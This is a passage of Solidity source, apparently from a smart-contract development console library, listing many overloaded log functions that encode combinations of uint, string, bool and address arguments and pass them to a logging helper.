_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } 